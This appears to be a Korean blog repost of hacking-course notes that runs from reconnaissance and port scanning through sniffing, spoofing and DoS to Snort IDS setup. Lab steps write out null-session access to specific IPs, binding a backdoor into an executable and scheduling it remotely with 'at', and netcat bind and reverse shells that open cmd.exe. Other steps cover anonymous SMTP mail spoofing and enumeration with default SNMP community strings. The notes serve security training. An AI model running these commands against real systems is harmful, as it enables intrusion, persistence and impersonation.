정보 수집 --> 취약점 분석 --> Attack
footprinting(정보수집) network System Root 권한 취득
scanning(정보수집기술) network device └▷ (Data 변조,파괴,수집)
enumeration(목록화) stsyem Application System
Application Buffer overflow
footprinting
- Footprinting을 수행할 범위를 결정한다.
- 공개 소스 검색. EDGAR 검색
참고 사이트 :
http://www.archive.org/ (전세계의 Web Site DB가 있는 Site)
http://www.zone-h.org/ ( Hacker들이 해킹하였다고 알리는 Site)
google 검색 엔진에서 정보 수집
+filetype:txt
+site:co.kr
+inurl:vti_bin
+link:URL
Tools :
WebFerret
wget
Website Download
- 특정 대상과 연관이 있는 관련 네트워크들과 도메인 이름들을확인한다.(whois DB활용)
- 등록기관 조회, 기관 조회, 도메인 조회, 네트워크 조회, POC 조회
참고 사이트 :
http://whois.nic.or.kr/
http://dnsreport.com/
http://www.internic.net/
http://whois.webhosting.info/
Tools :
jwhois
Sam Spade
- 영역이전(Zone transfer) -▷ nslookup 이용
└▷ 해결 방안 : DNS 보안 (Permission 제한과 특정 IP만 허용)
※ Zone transfer : securing_zone_transfer-050427.pdf 파일 참조
이를 통해 공격자들은
① 내부의 개발서버나, 인트라넷등 내부의 시스템/네트워크 구조를 쉽게 파악할 수 있다.
② 사용IP 대역이나 방화벽 등 보안 장비의 IP도 알 수 있게 됩니다.
③ 어떤 업체의 경우 서버의 대수나 규모 등의 정보도 추측할 수 있게 되는등
심각한 정보 유출의 시작이 될 수 있습니다.
④ DoS로도 악용될 수 있습니다.
※ nslookup 참조 사이트 :
http://kin.naver.com/db/detail.php?d1id=1&dir_id=1&eid=wkfixEKmn6XX6iMc0WXtoUebbWUVZKLt
http://www.nic.or.kr/center/nslookup.htm
http://blog.naver.com/javabuilder?Redirect=Log&logNo=60010453544
http://blog.naver.com/zeus303?Redirect=Log&logNo=40015548168
http://blog.naver.com/hbae99?Redirect=Log&logNo=18233591 (Command description)
- 접속 가능한 경로 및 사용중인 네트워크 상황 파악한다.
- 경로추적(Tracerouting)
Tools :
- traceroute(Unix 계열)
- tracert(Windows 계열)
- VisualRoute
- Cain
└▷대응 방법 : 네트워크 탐색 방해
Scanning
┬─▷ Port Scanning
└─▷ Vulnerability Scanning ( System, Network, Application )
└─▷ Footprinting, Port Scanning, enumerationm, Vulnerability
- Footprinting에 의하여 수집된 정보를 이용하여 대상 시스템이 alive 되어 있는지
어떤 포트가 열려 있는지 확인하는 단계
- Ping Sweep, TCP/UDP Port Scan, OS detect
TCP port
20 Ftp-Data
21 FTP
22 SSH
23 Telnet
25 SMTP
53 DNS
80 HTTP --> 443 SSL(http보안 Protocol)
110 POP
135~139 Netbios
445 SMB
3389 Terminal
1433 Mysql
Port ─▷ Deamon ─▷ Service, Process
nmap
─▷ TCP connect() scan
- 완전한 TCP 3 way handshake 형성(SYN, SYN/ACK, ACK)
- Target System에서 쉽게 탐지 될 수 있음.
─▷ TCP SYN scan
- Half-open/Stealth scanning이라 불림.
- SYN packet을 대상 포트로 발송하여 SYN/ACK packet을 받으면 Open State
- SYN packet을 대상 포트로 발송하여 RST/ACK packet을 받으면 close State
- Target System에 로그화 되지 않는다.
─▷ TCP FIN scan
- 대상 포트로 FIN packet을 전송
- 대상 시스템은 닫힌 모든 포트들에 대하여 RST packet을 되돌려 보내야함( RFC 793 )
- Open 상태이면 packet 무시
- 주로 UNIX기반의 TCP/IP 스탯에서 사용됨
─▷ TCP Xmas Tree scan
- 대상 포트로 FIN, URG, PUSH 패킷 전송
- 대상 시스템은 닫힌 모든 포트들에 대하여 RST packet을 되돌려 보내야함( RFC 793 )
- OPEN 상태이면 packet 무시
─▷ TCP Null
- 모든 플래그를 지우는 것
- 대상 시스템은 닫힌 모든 포트들에 대하여 RST packet을 되돌려 보내야함( RFC 793 )
- OPEN 상태이면 packet 무시
─▷ TCP ACK scan
- 방화벽의 정책을 설계하는데 사용되곤 함.
- Filtered인지 Unfiltered인지 확인함.
─▷ TCP Windows scan
- TCPwubdiws의 크기가 보고 되는 방식의 변형을 통해 일부 시스템의 열린 포트와 함께
필터 동작을 하는 포트와 수행하지 않는 포트를 탐지 할 수 있음.
─▷ TCP RPC scan
- UNIX 시스템에 적합한 것
- RPC 포트와 관련된 프로그램 버전을 탐지하거나 확인하는데 유용하게 사용 될 수 있음.
─▷ UDP scan
- 대상 포트로 UDP 패킷을 전송
- 대상 포트로부터 'ICMP port unreachable' 메세지를 받으면 해당 포트는 close State.
메시지가 오지 않으면 Open State.
- 정확도가 떨어짐.
─▷ Source Port scan
- 특정 소스 포트에 대해서 무조건 신뢰하는 잘못된 ACL 정책을 이용한 scan.
참고 File :
nmapwin.pdf 참조
Windows Port & Application Scan
- netstat -abnp [TCP|UDP] 로 확인
- 작업관리자에서 PID로 관련 Process 확인
- Detail하게 볼려면 Services.msc 열어서 확인
ethereal Filtering
─▷ IP
src(소스IP) : src host IP
dst(대상IP) : dst host IP
─▷ port
port [Number]
port not [Number] ─▷ 해당 Number Port는 필터링에서 제외한다.
─▷ Protocol
ip proto [Protocol Name]
─▷ 실습 Filtering
src host Local_IP or src host Dst_IP and port not 139 and port not 135 and port not 445
Tools :
http://www.ethereal.com/ (ethereal)
http://www.insecure.org/ (nmap)
http://www.findstone.com/ (SL)
Ping Sweep Tools
UNIX : fping, nmap, hping
WIN : pinger, solrawinds
보안 문서 참고 사이트 :
http://www.krcert.or.kr/
http://www.cert.com/
http://securityfocus.com/
http://www.securiteam.com/
http://phrack.org
finger
- 사용자 정보를 목록화 하는데 가장 많이 사용됨
- 원격지에서 사용자 정보를 자동으로 제공해주는 Utility
─▷ 해결방법
- inetd.conf 에서 finger부분 주석 처리
- 방화벽을 이용한 TCP 79번 포트 차단
-MS Windows 의 가장 취약한 점..
- Netbios (TCP 135, 137, 139번)
- Null Session
─▷ 컴퓨터 관리 ( 원격으로 관리 할 수 있다.)
─▷ regedit
─▷ Username과 password없이 접근가능(인증 받지 않은 접속)
- Null Session 해결방법
- Windows 2000 Server
-▷ 익명의 연결에 추가적인 제한 을 제한을 둔다.
- Windows XP
-▷ Everyone 사용권한을 익명 사용자에게 적용 -> 사용안함 으로 설정
-▷ SAM 계정과 공유의 익명 열거 허용 안함. -> 사용 으로 설정
-▷ SAM 계정의 익명 열거 허용 안 함. -> 사용 으로 설정
-Net Command-
net help (도움말)
net view (같은 Network에 있는 사용자들 보기)
net view /domain (Network에 속하는 그룹들 보기)
net view /domain:<name> (name에 있는 사용자들 보기)
net share (내 시스템의 공유 되어 있는 목록)
net view \\IP (IP에 속하는 공유 되어 있는 목록 보기)
net start <Service> (실행 되고 있는 Service 보기 & 활성화)
net stop <Service> (Service 종료하기.)
net use (Session 정보 보기)
net use \\210.123.94.159\ipc$ * /user: ( Null Session 접속)
net use \\IP_Address\ipc$ /delete ( Session 종료)
net session (어떤 사용자가 내 컴에 접속하였는가?)
< SID 값 >
S-1-5-21-1343024091-1844237615-725345543-500
──── ─────────────── ──
① ② ③
① 시스템 고유 Number
② Version Number
③ UID
UID 500 = Administrator
1000번대 = 사용자 임의 계정
Password crack ─▷ Guessing ( Default Value )
─▷ Dictionary ( 사전단어 )
─▷ Bruteforcing ( 전수대입 )
Tools :
sid2user
<실습>
- Http Protocol를 이용해 정보 이용하기 -
telnet IP 80 ◁┘
GET HTTP/1.0 ◁┘
OPTION ◁┘
HEAD ◁┘
TRACE ◁┘
<실습>
- 대상 Computer의 Account Information View -
net use \\210.123.94.170\ipc$ * /user: ◁┘ (Null Session 생성)
user2sid \\210.123.94.170 Administrator ◁┘ (SID의 값을 구한 뒤에..)
sid2user \\210.123.94.170 SID값 ◁┘ (사용자 정보를 얻을 수 있다.)
<실습>
SMTP 서버 이용해 익명의 이메일로 메일 보내기.
telnet smtp서버IP(125.191.25.62) 25
helo foo
mail from:<보내는 주소>
rcpt to:<받는이 주소>
data
subject: 제목입력
본문입력
< 내용 >
. <-- 마친다.
quit
참고 사이트 : http://dsbl.org/listing
SNMP( Simple Network Management Protocol )
- 네트워크 관리시스템을 구현하기 위한 표준 프로토콜
- Manager, Agent, MIB(Management Information Base)로 구성
- 장비들이 제공하는 MIB값을 가져와 장비의 상태파악, 상태 변경
- 161번 Port 가 Open 된다.
-MIB
Manager와 Agent사이에 특정한 정보를 주고 받는 것이 네트워크 관리의 기본
관리 되어야 할 특정한 정보, 자원을 객체라하며, 이런 책테들을 모아놓은 집합체
community string = password
Default Vaule = public, private
<실습>
SNMP 를 이용해서 정보수집하기.
< 준비 사항 >
1. wmWare의 Win 2000에서 SNMP 프로토콜 설치
2. win XP 에서 ActivePerl 설치 (http://www.activeperl.com)
3. ppm ◁┘
4. perl_net-snmp 설치.txt 참고로 설치
c:\snmpenum>perl snmpenum.pl 192.168.100.15 public windows.txt > 192.168.100.15_trap
notepad 192.168.100.15_trap
※ SNMP의 community string을 알아야 이 방법을 사용할 수 있다.
기본적인 값 public, private를 이용한다.
Tools.
snmpenum
TIP 1. Power Menu Addition Dos Prompt
1. regedit
2. HKEY_CLASSES_ROOT -> Directory -> Shell
3. 새로만들기 -> Key -> 메뉴이름
4. 새로만들기 -> key -> 메뉴이름 -> 새로만들기 -> Key
5. 기본값의 데이터 수정 ( cmd.exe /k cd %1 )
참고 사이트 :
http://www.comnetlink.net ( Network Study Site )
http://packetstormsecurity.org/ ( Hacking Source & etc )
http://www.sis.or.kr
-enumeration(목록화)
Tools.
LanGuard
- Sniffing
- 스니퍼는 원래 Network Associate사의 등록상표였으나 현재는
PC나 kleenex처럼 일반적인 용어로 사용.
스니퍼는 "컴퓨터 네트워크상에 흘러다니는 트래픽을 엿듣는 도청장치"이다.
Sniffing 이 가능한 이유
- LAN(Local Area Network)환경
- 취약한 HUB 환경 ( Dummy HUB )
- Promiscuous 모드로 동작
- TCP/IP 통신은 암호화 통신이 아님.
※ Promiscuous 모드
- 이더넷 인터페이스는 자신의 MAC Address를 갖지 않는 트래픽을 무시하는
필터링 기능을 가지고 있다.
이 필터링 기능은 자신의 MAC Address를 가진 트래픽만을 보도록 한다.
반대로 이더넷 인터페이스의 모든 트래픽을 보도록 설정이 가능한데
이것을 Promiscuous 모드라 한다.
<실습>
- Dummy 환경
1. Ethereal filtering Setting
( src host 210.123.94.95 and dst host 210.123.94.160 or src host 210.123.94.160 )
2. arp Cache Table 삭제 (arp -d *)
3. ping 실습 컴..
4. Packet 확인
TIP.
- Windows에서 각종 서비스 실행 및 중지 하기.
net start [Service명]
※ Error가 난다면 services.msc 에서 사용안함으로 설정이 되어있는 것 이다.
- 현재 Windows에서 실행중인 telnet 서비스 찾기.
net start | find /I "telnet"
Tools.
Spynet 3.12
참고 사이트 :
http://www.terms.co.kr ( 용어 & 네트웍 Study Site )
http://crack.polivar.net/index.php?name=Search&str=sp( Crack Site )
Switch환경에서의Sniffing
- Switch Jamming(MAC flooding)
스위치에는 각각의 포트에 해당하는 물리적인 MAC 주소를 기억하고 있는데 이 메모리에는 한계가 있다.
이러한 스위치의 특성을 이용하여 위조된 MAC 주소를 지속적으로 발생시켜 스위치의 ARP 주소 테이블을
Overflow 시키면 스위치는 마치 더미처럼 모든 포트에 패킷들을 브로드캐스트하게 된다.
이는 보안원리중의 하나인 "Fail close"(시스템에 이상이 있을 경우 보안기능이 무력화되는 것을
방지하는 원리)를 따르지 않기 때문에 발생한다.
보안적인 용어로 이러한 상황을 "Fail Open"이라고 한다.
- ARP Redirect
위조된arp reply를 보내는 방법을 사용한다. 즉 공격자 호스트가 "나의 MAC 주소가 라우터의 MAC 주소이다"
라는 위조된 arp reply를 브로드케스트로 네트워크에 주기적으로 보내어, 스위칭 네트워크상의 다른 모든 호스트들이
공격자 호스트를 라우터로 믿게끔 한다. 결국 외부 네트워크와의 모든 트래픽은 공격자 호스트를 통하여 지나가게 되고
공격자는 스니퍼를 통하여 필요한 정보를 도청할 수 있게 된다.
※ ARP Protocol Specification에 의하면 이미 cache에 저장하고 있는IP에 대한 ARP request를
받게 되면 호스트는 ARP request를 보낸 호스트의 MAC 주소를 cache에 업데이트하게 된다.
그리고 이러한 cache의 업데이트 기능은 arp reply에도 적용되는 것으로 보이며, 위의 공격이 성공할 수 있는 요인이 된다.
하지만 시스템에 따라 cache 기능은 다를 수도 있다.
이때 공격 호스트는 IP Forwarding 기능을 설정하여야 공격 호스트로 오는 모든 트래픽을 원래의
게이트웨이 로 Forwarding 해줄 수 있다. 그렇지 않으면 외부로 나가는 모든 네트워크 연결이
끊어지게 된다.
- ARP spoofing
ARP Redirect와 비슷한 공격 방법으로 다른 세그먼트에 존재하는 호스트의 트래픽을 스니핑하고자
할 때 사용된다. 공격자는 자신의 MAC 주소를 스니핑하고자 하는 호스트의 MAC 주소로 위장하는
arp reply(또는 request)패킷을 네트워크에 뿌린다. 즉"나의(공격자의) MAC 주소가 스니핑하려고 하는 호스트의 MAC 주소이다"라는 arp reply를
호스트와 라우터(게이트웨이)에게 보내게 된다.
이러한 reply를 받은 호스트와 게이트웨이는 자신의 arp cache를 업데이트하게 되고, 호스트간에 연결이 일너날 때 공격자 호스트의 MAC주소
를 사용하게 된다. 결국 호스트의 모든 트래픽은 공격자가 위치한 세그먼트로 들어오게 된다. 이러한 경우 arp redirect 공격과 마찬가지로
공격자 호스트로 넘어오게되는 트래픽을 본래의 호스트로 reply 해주어야만 호스트간에 정상적인
연결을 할 수 있게 되고 스니핑도 할 수 있다. 그렇지 않으면 호스트간의 연결은 이루어 질 수 없게 된다.
- MAC Duplication
만약 B 서버에서 A 서버의 트래픽을 스니핑하고 싶다면 B 서버에서 A 서버의 맥 주소와 같은 맥 정보로 설정을 하는 방법이다.
eth0의 맥 주소가 00:12:13:43:1a:1b 인 경우 이를 AA:AA:AA:AA:AA:AA와 같이 설정하고자 한다면
먼저 ifconfig eth0 down으로 eth0 인터페이스를 다운시킨 후 ifconfig eth0 hw ether AA:AA:AA:AA:AA:AA
up 같이 실행하면 eth0 인터페이스의 MAC 정보를 변경 할 수 있다.
이러할 경우 스위치를 혼란시켜 두 포트 모두 같은 맥 주소를 가진 것처럼 인식하게 되며 스위치는
A 서버로 보낼 트래픽을 A와B 모두에게 발송하게 되는 것이다. 데이터는두 포트 모두에게 보내어지므로
B서버에서는 IP 포워딩을 설정할 필요가 없다.
Tools.
dsniff(Linux)
Cain & Abel(Windows)
참고 사이트 :
http://www.oxid.it/ (Cain & Abel)
ICMP Redirection
- 보통의 네트워크는 라우터나 게이트웨이가 하나다. 하지만 하나의 라우터로 이를 감당할 수 없을
때는 어떻게 해야 할까? 라우터나 게이트웨이를 두 개 이상 운영해서 로드밸런싱으르 해야 할 것이다.
로드밸런싱을 하는 방법은 다양하다. 시스템의 라우팅 테이블에 라우팅 엔트리를 하나 더 넣어주는
방법도 있으나 ICMP 리다이렉트를 사용하기도 한다.
ICMP 공격은 이러한 경우를 강제적으로 만들어주게 된다. 공격자가 네트워크에 존재하는 또다른 라우터임을
각 호스트에게 알리게 된다. ARP 스푸핑과 다른 점은 ARP 스푸핑은 모든 트래픽에 대한 리다이렉트를 가능하게
하지만, ICMP 리다이렉트는 특정한 목적지 주소를 가진 패킷만을 리다이렉트하게 된다.
IP Spoofing
케빈미트닉이 사용한 방법을 의미하며 순서제어번호 추측 공격, 서비스 거부 공격, 패킷 스니핑
등이 함께 사용되는 고난도의 수법으로 볼 수 있다.
- 외부에서 들어오는 패킷의 Source IP 주소 검사
- rsh, rlogin 등의 패스워드의 인증과정이 없는 서비스를 사용하지 않음.
- 여러종류의 IP Spoofing은 TCP/IP의 설계와 구현상의 문제점에 기인한 것으로
새로운 프로토콜을 사용하지 않는 한 완벽한 보호대책은 존재 할 수 없음.
- TCP/IP 프로토콜의 결함
- 1985년에 로버트 모리스의 논문에 소개
" A Weakness in the 4.2 BSD UNIX TCP/IP Software"
- 1995년 케빈미트닉이 이론을 실제화하여 해킹
- IP를 속여서 공격하는 기법
순서제어번호 추측
반 접속시도 공격
접속자로채기
RST를 이용한 접속끊기
FIN을 이용한 접속끊기
SYN/RST패킷 생성공격
네트워크 데몬 정지
TCP 윈도우 위장
Tools.
Sterm
DNS Spoofing
- 인터넷을 이용하는 도중 주소 창에 가고자하는 사이트 이름을 적어놓고는 엔터 키를 눌렀더니
엉뚱한 사이트로 연결되는 경우를 경험해 본 적이 있을 것이다.
이런 경우가 DNS 서버의 오류로 인해 생길 수도 있지만, DNS 스푸핑과 같은 공격으로도 이루어진다.
Tools.
dnsspoof
Session Hijacking
Tips Commands.
tasklist ( Process List )
taskpkill( Process Kill )
Tools.
T-sight(Windows)
Hunt(Linux) --> packetstormsecurity.org/sniffers/hunt
Trojan & Backdoor
Tools.
NetSpy ( http://siriusoft.net/english/ )
ResourceHack ( Execute File Modify )
UPX ( Execute File Compression)
exebind
findhost -> Backdoor 검색
netspy30 -> Server, Client
remover -> 제거하는 Program
<실습>
① net use \\210.123.94.159\ipc$ * /user:administrator ( Session Connection )
② exebind 로 Backdoor과 정상적인 실행파일 합친다.
③ \\210.123.94.159\admin$ 로 접속
④ 재주껏 숨기고
우선 상대방의 시간을 알아온다.
└▷ net time \\210.123.94.159
⑤ at명령으로 스케줄링에 추가 한다.
└▷ at \\210.123.94.159 20:54 "c:\winnt\system32\ping.exe"
⑥ at명령으로 잘 추가 되었는지 확인한다.
└▷ at \\210.123.94.159
위의 설정한 시간이 지나면 자동으로 실행이 된다.
※ Task Scheduler Service 를 정지 시켜 넣으면 at 명령을 막을 수 있다.
자동실행
c:\autoexec.bat
c:\config.sys
%systemroot%\win.ini
%systemroot%\system.ini
ini 참고 Site:
http://blog.naver.com/ha702?Redirect=Log&logNo=12156859
Windows
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\RunOnce
Software\Microsoft\Windows\CurrentVersion\RunOnceEX
Linux
RC.local
RC.3
CRONTAB
NetCat
Unix의 cat과 비슷하지만, 모니터 화면 출력이 아닌, TCP/IP로 출력한다.
참고 사이트
http://www.vulnwatch.org/netcat/
http://netcat.sourceforge.net/
- Windows Shell Command
nc -v -l -p 666 -e "%systemroot%\system32\cmd.exe"
- 접속할때
telnet [IP] [Port]
- File Transports -
( 받을 쪽 )
nc -l -p [Port] > [File Name]
( 보내는 쪽 )
nc [IP] [Port] < [Transport File Name]
- Reverse Telnet
( hacker )
nc -vv -l -p 80
( attack client )
nc [IP] 80 -e "%systemroot%\system32\cme.exe"
설명
대부분의 방화벽에서 outbound Traffic에 대해서 텔넷 포트를 필터링하고, 있다.
하지만 Inbound Traffic 중 http(80 Port)에 대해서는 필터링을 하지 않는다.
Ack Tunnelling
AckcmdS -> Server File and 1025 Port Half-Open state. (ack신호 대기상태)
AckcmdC -> Client File, Connection to Server.
( hacker )
ackcmdC [IP]
( attack client )
ackcmds ◁┘
HTTP Tunnelling
① Reseverse HTTP
rwwwshell master -> 8080 Port Open state.
rwwwshell-2.0.pl 의 파일안에 Master Configure 부분 IP와 Shell부분을 수정해준다.
rwwwshell slave -> Connection to Master.
( hacker )
rwwwShell Master
( attack client )
rwwwshell slave
② hypertunnelNT
IDS로도 잡기 힘들다..
( hacker )
htc -F 2323 [Remote IP:Port]
telnet localhost 2323 ─▷ Localhost 2323으로 Telnet Connection하면,
IP Forwarding으로 인해서 Remote IP의 Port로
접속이되는 것이다.
( attack client )
Port Forwarding
hts -F localhost:23 [Port]
DoS 기법
DoS Attack ┬▷ ICMP
├▷ TCP
├▷ IP 조작
├▷ Half Open 취약성을 막을 방법은 대기 시간을 설정해 넣는것이다.(RTT Time)
├▷ TearsDrop 취약성은 Sequence Number 을 Random 하게 설정해 넣는것이다.
└▶ TCP/IP 정상적인 패턴, 비정상적인 신호에 대해 응답
Ping of death
ICMP -> Size를 조작해서 핑을 보내는 기법
Syn Flooding
Syn Flooding는 서버별 한정되어 있는 동시 사용자 수를 존재하지 않는 클라이언트가 접속한 것처럼
속여, 다른 사용자가 서버에서 제공하는 서비스를 받지 못하게 되는 것이다.
Half Open State 를 만들어놔서 서비스를 정상적으로 구동하지 못하게 하는 기법이다.
Boink,Bonk, Teardrop
Teardrop -> Sequence Number를 조작
겹치게 혹은 일치성이 없게 패킷을 보내서 계속 대기 상태로 만들어 넣는 기법이다.
LAND
패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소 값을 공격자의 IP주소 값으로 똑같이 만들어서 공격대상에게 보낸다.
시스템은 처음 시도된 Syn에 대한 Reply 패킷을 출발지 IP주소값을 참조하여
Src Spoofing
WinNuke(OOB)
Netbios (139, 445) 취약성 이용
Smurf, Fraggle
Router의 Direct Broadcasting 취약성을 이용한 기법
Tools.
windump
( windump -vv -n -i 4 host 210.123.94.131 and not arp and not )
packet gen
침입 탐지 시스템 ( IDS )
Firewall -> IPS ( 침입차단 )
Packet Filtering, TCP/IP Header 부분을 검증하여 검증이 안된 Packet들은 Drop 시킨다.
침입탐지 -> IDS
Inbound 와 Outbound 의 Packet들의 Header부분과 Data부분을 Log로 남기는 장비 이다.
Signature 방식으로 검증한다. ( Snort Rule을 이용한다. --> 바이러스 및 백도어 패턴들 )
침입방지 -> IPS
침입차단 + 칩입탐지 System의 장점들을 모아서 만든 장비이다.
즉, 모든 Packet들을 검증 및 확인 하지 않고, 도중 도중에 Packet들을 검증 해서
바이러스 혹은 비정상적인 Packet들에 한해서 Drop을 시킨다.
IDS ┬▷ Host-Based --> end point, Server 기반, Application 기반, Fragement의 IDS
└▷ Network-Based --> Network equipment, All-Network의 IDS
Snort 4 Mode
① Sniffer Mode
간단하게 네트워크의 패킷을 읽어서, 콘솔화면에 연속적으로 보여줌
② Packet logger mode
패킷을 디스크에 저장
③ NIDS mode
user-defined 룰셋으로 네트워크 트래픽을 분석
④ Inline mode
iptable(Firewall)과 연동하여, Snort rules에 따라 패킷들을 드롭시키거나 통과 시킴.
etc\snort.conf 의 내용을 수정 해주어야 한다.
var HOME_NET 192.168.144.0/24 (내부 IP대역)
var EXTERNAL_NET any
var RULE_PATH c:\snort\rules (Rules Files Path Value)
include classification.config 앞에 c:\snort\etc\ 를 추가해준다.
include reference.config 앞에 c:\snort\etc\ 를 추가해준다.
include $RULE_PATH/ 앞에 모두 #을 붙여서 주석 처리 한다.
include $RULE_PATH/rules 파일들을 입력해준다.
( Ex> include $RULE_PATH/smtp.rules )
snort -c c:\snort\etc\snort_fix.conf -l c:\snort\log -i 2
참고 문서
snort.ppt
Tools.
Snort IDS
Snort Rules
IDS Policy Manager
Snort IDS
참고 사이트
http://www.snort.org/
로그분석
snort 폴더 안에 sn0rtsnortsnarf설치
snorf.pl 화일을 os windows 로 변경
include file을 perl> site> lib 밑에 복사
cmd
ppm
s time-module
install 1번 선택
q time-module
quit
perl > perl> lib > time copy
snortsnorf > timemodule > lib 밑에 붙여 넣기
snortsnorf > cqi 를 perl 디렉 토리에 복사
perl setup_anns_dir.pl c:\snortsnarf\snn-dir annotation-base.xml
snort> copy con startsnart.bat
perl c:\snort\snortsnorf\snortsnarf.pl -d c:\snort\snortweb -dns -db c:\snort\snortsnorf\annoidir\snnotation-bas.xml -cgidir http://localhost\cgi c:\snort\alert.ids
type startsnarf.bat
=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-=*-
[출처 : http://www.unix.co.kr/bbs/board.php?bo_table=02_06&wr_id=1&page=6]
'Academy I > Security' 카테고리의 다른 글
모든 RCS를 탐지할 수 있는 업그레이드된 디텍트 2.0 오픈 (0) | 2015.08.10 |
---|---|
netstat & tasklist (0) | 2015.03.19 |
TAILS: Snowden's favorite anonymous, secure OS goes 1.0 (0) | 2014.07.29 |
Tor Browser Bundle (0) | 2014.07.29 |
Top 50 Security Tools II (0) | 2014.02.28 |
Top 50 Security Tools I (0) | 2014.02.28 |
리눅스 해킹보안 툴 (0) | 2014.02.28 |
Security의 개선 (0) | 2014.02.28 |